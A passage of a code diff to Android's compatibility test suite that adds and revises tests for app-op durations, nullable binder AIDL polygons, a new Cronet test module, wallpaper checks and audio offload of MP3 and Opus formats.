+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ }
+ }
+
+ val beforeFeatureStart = System.currentTimeMillis();
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+ val afterFeatureStart = System.currentTimeMillis();
+
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+
+ // The last duration is the duration of the last started feature
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ }
+ }
+
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+
+ // Nested startOps do _not_ start another duration counting, hence the nested
+ // startOp and finishOp calls have no affect
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ }
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ }
+ }
+
+ val beforeFeatureStop = System.currentTimeMillis();
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+ val afterFeatureStop = System.currentTimeMillis();
+
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeFeatureStop - afterFeatureStart
+ ..afterFeatureStop - beforeFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart
+ ..afterGetOp - beforeFeatureStart)
+ }
+ }
+
+ val beforeNullFeatureStop = System.currentTimeMillis();
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
+ val afterNullFeatureStop = System.currentTimeMillis();
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStop - afterNullFeatureStart
+ ..afterNullFeatureStop - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeFeatureStop - afterFeatureStart
+ ..afterFeatureStop - beforeFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeFeatureStop - afterFeatureStart
+ ..afterFeatureStop - beforeFeatureStart)
+ }
+ }
+}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index a9c7aa8..626cdc8 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -38,6 +38,7 @@
import android.Manifest.permission
import android.app.AppOpsManager
+import android.app.AppOpsManager.OPSTR_FINE_LOCATION
import android.app.AppOpsManager.OnOpChangedListener
import android.content.Context
import android.os.Process
@@ -272,6 +273,56 @@
}
@Test
+ fun finishOpWithoutStartOp() {
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ }
+
+ @Test
+ fun doubleFinishOpStartOp() {
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ }
+
+ @Test
+ fun doubleFinishOpAfterDoubleStartOp() {
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ }
+
+ @Test
+ fun noteOpWhileOpIsActive() {
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.noteOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ }
+
+ @Test
fun testCheckPackagePassesCheck() {
mAppOps.checkPackage(Process.myUid(), mOpPackageName)
mAppOps.checkPackage(Process.SYSTEM_UID, "android")
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
index 72d5985..887cbe0 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
@@ -27,6 +27,7 @@
String RepeatString(String value);
@nullable String RepeatNullableString(@nullable String value);
test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
+ @nullable test_package.RegularPolygon RepeatNullablePolygon(in @nullable test_package.RegularPolygon value);
void RenamePolygon(inout test_package.RegularPolygon value, String newName);
boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
index 891cf0b..c489e56 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
@@ -27,6 +27,7 @@
String RepeatString(String value);
@nullable String RepeatNullableString(@nullable String value);
test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
+ @nullable test_package.RegularPolygon RepeatNullablePolygon(in @nullable test_package.RegularPolygon value);
void RenamePolygon(inout test_package.RegularPolygon value, String newName);
boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index 812eb04..a8c30ba 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -207,6 +207,11 @@
*_aidl_return = in_value;
return ::ndk::ScopedAStatus(AStatus_newOk());
}
+ ::ndk::ScopedAStatus RepeatNullablePolygon(const std::optional<RegularPolygon>& in_value,
+ std::optional<RegularPolygon>* _aidl_return) override {
+ *_aidl_return = in_value;
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
::ndk::ScopedAStatus RenamePolygon(RegularPolygon* value,
const std::string& newName) override {
value->name = newName;
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index 2608830..24dc52a 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -401,9 +401,22 @@
RegularPolygon defaultPolygon = {"hexagon", 6, 2.0f};
RegularPolygon outputPolygon;
ASSERT_OK(iface->RepeatPolygon(defaultPolygon, &outputPolygon));
- EXPECT_EQ("hexagon", outputPolygon.name);
- EXPECT_EQ(defaultPolygon.numSides, outputPolygon.numSides);
- EXPECT_EQ(defaultPolygon.sideLength, outputPolygon.sideLength);
+ EXPECT_EQ(defaultPolygon, outputPolygon);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatNullNullablePolygon) {
+ std::optional<RegularPolygon> defaultPolygon;
+ std::optional<RegularPolygon> outputPolygon;
+ ASSERT_OK(iface->RepeatNullablePolygon(defaultPolygon, &outputPolygon));
+ EXPECT_EQ(defaultPolygon, outputPolygon);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatPresentNullablePolygon) {
+ std::optional<RegularPolygon> defaultPolygon =
+ std::optional<RegularPolygon>({"septagon", 7, 3.0f});
+ std::optional<RegularPolygon> outputPolygon;
+ ASSERT_OK(iface->RepeatNullablePolygon(defaultPolygon, &outputPolygon));
+ EXPECT_EQ(defaultPolygon, outputPolygon);
}
TEST_P(NdkBinderTest_Aidl, InsAndOuts) {
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
index 669f683..8166e87 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -71,6 +71,7 @@
@nullable String RepeatNullableString(@nullable String value);
RegularPolygon RepeatPolygon(in RegularPolygon value);
+ @nullable RegularPolygon RepeatNullablePolygon(in @nullable RegularPolygon value);
// Testing inout
void RenamePolygon(inout RegularPolygon value, String newName);
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index 01429f6..21c40c7 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -294,6 +294,36 @@
}
@Test
+ public void testRepeatUnexpectedNullPolygon() throws RemoteException {
+ try {
+ RegularPolygon result = mInterface.RepeatPolygon(null);
+ } catch (NullPointerException e) {
+ // non-@nullable C++ result can't handle null Polygon
+ return;
+ }
+ // Java always works w/ nullptr
+ assertEquals("JAVA", mExpectedName);
+ }
+
+ @Test
+ public void testRepeatNullNullablePolygon() throws RemoteException {
+ RegularPolygon result = mInterface.RepeatNullablePolygon(null);
+ assertEquals(null, result);
+ }
+
+ @Test
+ public void testRepeatPresentNullablePolygon() throws RemoteException {
+ RegularPolygon polygon = new RegularPolygon();
+ polygon.name = "septagon";
+ polygon.numSides = 7;
+ polygon.sideLength = 9.0f;
+
+ RegularPolygon result = mInterface.RepeatNullablePolygon(polygon);
+
+ assertPolygonEquals(polygon, result);
+ }
+
+ @Test
public void testInsAndOuts() throws RemoteException {
RegularPolygon polygon = new RegularPolygon();
mInterface.RenamePolygon(polygon, "Jerry");
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index 828d11e..872c166 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -194,6 +194,11 @@
}
@Override
+ public RegularPolygon RepeatNullablePolygon(RegularPolygon in_value) {
+ return in_value;
+ }
+
+ @Override
public void RenamePolygon(RegularPolygon value, String name) {
value.name = name;
}
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index 03ae82f..5a41584 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -18,8 +18,6 @@
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assume.assumeTrue;
-
import android.app.Activity;
import android.app.AppOpsManager;
import android.app.Instrumentation;
@@ -786,7 +784,7 @@
}
public void testAccessWallpaper() throws IOException, InterruptedException {
- assumeWallpaperSupported();
+ if (!isWallpaperSupported()) return;
// set Wallpaper by context#setWallpaper(Bitmap)
Bitmap bitmap = Bitmap.createBitmap(20, 30, Bitmap.Config.RGB_565);
@@ -1094,7 +1092,7 @@
}
public void testGetWallpaperDesiredMinimumHeightAndWidth() {
- assumeWallpaperSupported();
+ if (!isWallpaperSupported()) return;
int height = mContext.getWallpaperDesiredMinimumHeight();
int width = mContext.getWallpaperDesiredMinimumWidth();
@@ -1616,8 +1614,7 @@
}
}
- private void assumeWallpaperSupported() {
- assumeTrue("Device does not support wallpapers",
- WallpaperManager.getInstance(mContext).isWallpaperSupported());
+ private boolean isWallpaperSupported() {
+ return WallpaperManager.getInstance(mContext).isWallpaperSupported();
}
}
diff --git a/tests/tests/cronet/Android.bp b/tests/tests/cronet/Android.bp
new file mode 100644
index 0000000..0b50579
--- /dev/null
+++ b/tests/tests/cronet/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+// TODO: Move this target to cts/tests/tests/net/cronet
+android_test {
+ name: "CtsCronetTestCases",
+ defaults: ["cts_defaults"],
+
+ // Include both the 32 and 64 bit versions
+ compile_multilib: "both",
+
+ static_libs: [
+ "CronetApiCommonTests",
+ "ctstestrunner-axt",
+ ],
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "mts",
+ ],
+
+}
diff --git a/tests/tests/cronet/AndroidManifest.xml b/tests/tests/cronet/AndroidManifest.xml
new file mode 100644
index 0000000..b7ae844
--- /dev/null
+++ b/tests/tests/cronet/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cronet.cts" >
+
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+ <uses-permission android:name="android.permission.INTERNET" />
+
+ <application android:usesCleartextTraffic="true">
+ <uses-library android:name="android.test.runner" />
+ <uses-library android:name="org.chromium.net.cronet" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cronet.cts"
+ android:label="CTS tests of android.cronet">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
diff --git a/tests/tests/cronet/AndroidTest.xml b/tests/tests/cronet/AndroidTest.xml
new file mode 100644
index 0000000..79c37f7
--- /dev/null
+++ b/tests/tests/cronet/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Cronet test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="networking" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsCronetTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.cronet.cts" />
+ <option name="runtime-hint" value="10s" />
+ </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/tests/cronet/OWNERS b/tests/tests/cronet/OWNERS
new file mode 100644
index 0000000..f4525df
--- /dev/null
+++ b/tests/tests/cronet/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 31808
+include ../net/OWNERS
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index 4149d39..af5e572 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -177,14 +177,23 @@
// Test case 7: Check frame size for compressed, float formats.
public void testFrameSize() throws Exception {
- final AudioFormat formatMp3 = new AudioFormat.Builder()
- .setEncoding(AudioFormat.ENCODING_MP3)
- .setSampleRate(44100)
- .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
- .build();
+ int[] encodings = {
+ AudioFormat.ENCODING_MP3,
+ AudioFormat.ENCODING_AAC_LC,
+ AudioFormat.ENCODING_AAC_HE_V1,
+ AudioFormat.ENCODING_AAC_HE_V2,
+ AudioFormat.ENCODING_OPUS
+ };
+ for (int encoding : encodings) {
+ final AudioFormat format = new AudioFormat.Builder()
+ .setEncoding(encoding)
+ .setSampleRate(44100)
+ .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+ .build();
- assertEquals("MP3 AudioFormat has the wrong frame size",
- 1, formatMp3.getFrameSizeInBytes());
+ assertEquals("AudioFormat with encoding " + encoding + " has the wrong frame size",
+ 1, format.getFrameSizeInBytes());
+ }
final AudioFormat formatPcmFloat = new AudioFormat.Builder()
.setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index c2c2a34..47b75bf 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -489,6 +489,8 @@
// Stopping one AR must allow creating a new one
audioRecords.peek().stop();
audioRecords.pop().release();
+ final long SLEEP_AFTER_STOP_FOR_INACTIVITY_MS = 1000;
+ Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
audioRecords.push(createDefaultPlaybackCaptureRecord());
// That new one must still be able to capture
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index fe1b62b..b804ac2 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -17,6 +17,7 @@
package android.media.cts;
+import android.annotation.RawRes;
import android.content.res.AssetFileDescriptor;
import android.media.AudioAttributes;
import android.media.AudioFormat;
@@ -35,18 +36,12 @@
public class AudioTrackOffloadTest extends CtsAndroidTestCase {
private static final String TAG = "AudioTrackOffloadTest";
- private static final int MP3_BUFF_SIZE = 192 * 1024 * 3 / 8; // 3s for 192kbps MP3
+ private static final int BUFFER_SIZE_SEC = 3;
private static final int PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
private static final AudioAttributes DEFAULT_ATTR = new AudioAttributes.Builder().build();
- private static final AudioFormat DEFAULT_FORMAT = new AudioFormat.Builder()
- .setEncoding(AudioFormat.ENCODING_MP3)
- .setSampleRate(44100)
- .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
- .build();
-
public void testIsOffloadSupportedNullFormat() throws Exception {
try {
final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(null,
@@ -60,30 +55,43 @@
public void testIsOffloadSupportedNullAttributes() throws Exception {
try {
final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(
- DEFAULT_FORMAT, null);
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
fail("Shouldn't be able to use null AudioAttributes in isOffloadedPlaybackSupported()");
} catch (NullPointerException e) {
// ok, NPE is expected here
}
}
-
public void testExerciseIsOffloadSupported() throws Exception {
- final boolean offloadableFormat =
- AudioManager.isOffloadedPlaybackSupported(DEFAULT_FORMAT, DEFAULT_ATTR);
+ final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
}
- public void testAudioTrackOffload() throws Exception {
+ public void testMP3AudioTrackOffload() throws Exception {
+ testAudioTrackOffload(R.raw.sine1khzs40dblong,
+ /* bitRateInkbps= */ 192,
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+ }
+
+ public void testOpusAudioTrackOffload() throws Exception {
+ testAudioTrackOffload(R.raw.testopus,
+ /* bitRateInkbps= */ 118, // Average
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_OPUS));
+ }
+
+ /** Test offload of an audio resource that MUST be at least 3sec long. */
+ private void testAudioTrackOffload(@RawRes int audioRes, int bitRateInkbps,
+ AudioFormat audioFormat) throws Exception {
AudioTrack track = null;
+ int bufferSizeInBytes3sec = bitRateInkbps * 1024 * 3 / 8;
+ try (AssetFileDescriptor audioToOffload = getContext().getResources()
+ .openRawResourceFd(audioRes);
+ InputStream audioInputStream = audioToOffload.createInputStream()) {
- try (AssetFileDescriptor mp3ToOffload = getContext().getResources()
- .openRawResourceFd(R.raw.sine1khzs40dblong);
- InputStream mp3InputStream = mp3ToOffload.createInputStream()) {
-
- long mp3ToOffloadLength = mp3ToOffload.getLength();
- if (!AudioManager.isOffloadedPlaybackSupported(DEFAULT_FORMAT, DEFAULT_ATTR)) {
- Log.i(TAG, "skipping test testPlayback");
+ if (!AudioManager.isOffloadedPlaybackSupported(audioFormat, DEFAULT_ATTR)) {
+ Log.i(TAG, "skipping testAudioTrackOffload as offload encoding "
+ + audioFormat.getEncoding() + " is not supported");
// cannot test if offloading is not supported
return;
}
@@ -91,9 +99,9 @@
// format is offloadable, test playback head is progressing
track = new AudioTrack.Builder()
.setAudioAttributes(DEFAULT_ATTR)
- .setAudioFormat(DEFAULT_FORMAT)
+ .setAudioFormat(audioFormat)
.setTransferMode(AudioTrack.MODE_STREAM)
- .setBufferSizeInBytes(MP3_BUFF_SIZE)
+ .setBufferSizeInBytes(bufferSizeInBytes3sec)
.setOffloadedPlayback(true).build();
assertNotNull("Couldn't create offloaded AudioTrack", track);
assertEquals("Unexpected track sample rate", 44100, track.getSampleRate());
@@ -106,8 +114,10 @@
} catch (Exception e) { }
track.registerStreamEventCallback(mExec, mCallback);
- final byte[] data = new byte[MP3_BUFF_SIZE];
- final int read = mp3InputStream.read(data);
+ final byte[] data = new byte[bufferSizeInBytes3sec];
+ final int read = audioInputStream.read(data);
+ assertEquals("Could not read enough audio from the resource file",
+ bufferSizeInBytes3sec, read);
track.play();
int written = 0;
@@ -146,6 +156,14 @@
}
}
+ private static AudioFormat getAudioFormatWithEncoding(int encoding) {
+ return new AudioFormat.Builder()
+ .setEncoding(encoding)
+ .setSampleRate(44100)
+ .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+ .build();
+ }
+
private Executor mExec = new Executor() {
@Override
public void execute(Runnable command) {
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
index cba377e..068a5e7 100644
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
@@ -40,6 +40,7 @@
import android.os.HandlerThread;
import android.os.Process;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
import android.system.ErrnoException;
import android.system.Os;
import android.system.OsConstants;
@@ -49,6 +50,7 @@
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.heifwriter.HeifWriter;
+import androidx.test.filters.SmallTest;
import com.android.compatibility.common.util.MediaUtils;
@@ -63,6 +65,8 @@
import java.io.RandomAccessFile;
import java.util.Arrays;
+@SmallTest
+@RequiresDevice
@AppModeFull(reason = "Instant apps cannot access the SD card")
public class HeifWriterTest extends AndroidTestCase {
private static final String TAG = HeifWriterTest.class.getSimpleName();
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index d6beefe..1dfdda4 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -19,6 +19,7 @@
import static android.media.session.PlaybackState.STATE_PLAYING;
import android.content.Intent;
+import android.media.AudioAttributes;
import android.media.AudioManager;
import android.media.Rating;
import android.media.VolumeProvider;
@@ -128,6 +129,15 @@
assertEquals(EXTRAS_VALUE, sessionInfo.getString(EXTRAS_KEY));
}
+ public void testGetTag() {
+ try {
+ String tag = mController.getTag();
+ fail();
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
public void testSendCommand() throws Exception {
synchronized (mWaitLock) {
mCallback.reset();
@@ -401,25 +411,6 @@
}
}
- /*
- public void testPlaybackInfo() {
- final int playbackType = MediaController.PlaybackInfo.PLAYBACK_TYPE_LOCAL;
- final int volumeControl = VolumeProvider.VOLUME_CONTROL_ABSOLUTE;
- final int maxVolume = 10;
- final int currentVolume = 3;
-
- AudioAttributes audioAttributes = new AudioAttributes.Builder().build();
- MediaController.PlaybackInfo info = new MediaController.PlaybackInfo(
- playbackType, audioAttributes, volumeControl, maxVolume, currentVolume);
-
- assertEquals(playbackType, info.getPlaybackType());
